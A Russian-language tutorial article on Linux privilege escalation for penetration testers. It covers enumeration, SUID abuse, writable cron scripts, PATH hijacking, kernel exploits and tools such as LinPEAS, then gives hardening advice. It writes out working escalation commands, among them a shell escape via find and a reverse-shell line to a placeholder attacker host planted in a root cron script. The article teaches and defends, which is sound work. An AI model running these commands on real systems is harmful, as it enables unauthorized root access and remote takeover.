Повышение привилегий в Linux: практические команды и приемы
Повышение привилегий — это важная концепция в кибербезопасности и тестировании на проникновение, когда пользователь получает несанкционированный доступ с более высокими привилегиями в системе. В Linux повышение привилегий подразумевает использование неправильных конфигураций, уязвимостей программного обеспечения или слабых политик для повышения уровня доступа от обычного пользователя до администратора или пользователя root.
В этой статье рассмотрим практические команды, методы и инструменты для выявления и эксплуатации уязвимостей повышения привилегий в Linux. Также обсудим меры безопасности для предотвращения таких атак.
1. Что такое повышение привилегий?
Повышение привилегий происходит, когда злоумышленник расширяет свои права доступа сверх того, что было предусмотрено администратором системы.
Типы повышения привилегий:
- Вертикальное повышение привилегий : переход от более низкого уровня привилегий (например, обычного пользователя) к более высокому уровню привилегий (например, root).
- Горизонтальное повышение привилегий : получение доступа к привилегиям другого пользователя того же уровня.
2. Практические команды для повышения привилегий
2.1 Перечисление системной информации
Сбор информации о системе — это первый шаг к выявлению потенциальных уязвимостей.
cat /etc/os-release uname -a
uname -r
dpkg -l # Системы на базе Debian rpm -qa # Системы на базе Red Hat
2.2 Идентификация двоичных файлов SUID
Бинарные файлы SUID (Set User ID) запускаются с привилегиями владельца файла. Неправильно настроенные бинарники SUID могут быть использованы.
find / -perm -u=s -type f 2>/dev/null
Если обнаружите уязвимый двоичный файл (например, /usr/bin/find
), его можно также взять в оборот:
find . -exec /bin/sh -p \; -quit
2.3 Слабые права доступа к файлам
Файлы со слабыми разрешениями можно редактировать или заменять, чтобы получить привилегии.
find / -type f -writable 2>/dev/null
find / -perm -u+x -type f 2>/dev/null
2.4 Использование заданий cron
Задания cron, запланированные пользователем root, могут быть уязвимы, если они выполняют записывающие что-то скрипты.
cat /etc/crontab ls -l /etc/cron.*
- Эксплуатация доступных для записи скриптов Cron: Измените доступный для записи скрипт cron, чтобы запустить reverse shell или повысить привилегии:
echo "bash -i >& /dev/tcp/attacker_ip/1234 0>&1" > /path/to/writable/script.sh
2.5 Эксплуатация переменных окружения
Такие переменные как$PATH
могут быть использованы в небезопасной конфигурации.
echo $PATH
- Использование неправильной конфигурации PATH: Если root выполняет скрипт, а PATH неправильно настроен:
echo '/bin/sh' > /tmp/ls chmod +x /tmp/ls export PATH=/tmp: $PATH
2.6 Эксплойты ядра
В старых ядрах могут быть известные уязвимости, которые можно использовать с помощью общедоступных скриптов эксплойтов.
uname -r
- Поиск эксплойтов: используйте базы данных, такие как Exploit-DB, для поиска эксплойтов, специфичных для ядра:
searchsploit linux kernel <version>
gcc exploit.c -o exploit ./exploit
3. Инструменты для повышения привилегий
1. LinPEAS : Автоматизирует перечисление эскалации привилегий.
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh chmod +x linpeas.sh ./linpeas.sh
2. Linux Exploit Suggester: предлагает потенциальные эксплойты на основе конфигурации системы.
wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh chmod +x linux-exploit-suggester.sh ./linux-exploit-suggester.sh
3. GTFOBins: предоставляет базу данных уязвимых двоичных файлов.
- Скачать: https://gtfobins.github.io
4. LinEnum: скрипт для базовых проверок повышения привилегий Linux.
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh chmod +x LinEnum.sh ./LinEnum.sh
4. Предотвращение повышения привилегий
1. Ограничьте двоичные файлы SUID: удалите разрешения SUID для ненужных двоичных файлов:
chmod -s /path/to/suid-binary
2. Защитите задания Cron: убедитесь, что все скрипты cron недоступны для записи:
chmod 700 /path/to/cron-script
2. Обновите ядро: регулярно обновляйте ядро Linux для устранения уязвимостей:
sudo apt update && sudo apt upgrade
3. Защитите переменные среды: укажите полные пути для команд в скриптах, выполняемых привилегированными пользователями.
4. Используйте мониторинг целостности файлов: используйте такие инструменты как Tripwire для отслеживания изменений в критически важных файлах.
Заключение
Повышение привилегий — ключевой этап в тестировании на проникновение и оценке кибербезопасности. Понимание того, как выявлять и использовать уязвимости, может помочь эффективно оценить состояние безопасности системы. В то же время, реализация надлежащих мер безопасности может снизить риск несанкционированного повышения привилегий. Используйте перечисленные выше команды и методы ответственно и только в этических целях.
На этом все! Спасибо за внимание! Если статья была интересна, подпишитесь на телеграм-канал usr_bin, где будет еще больше полезной информации.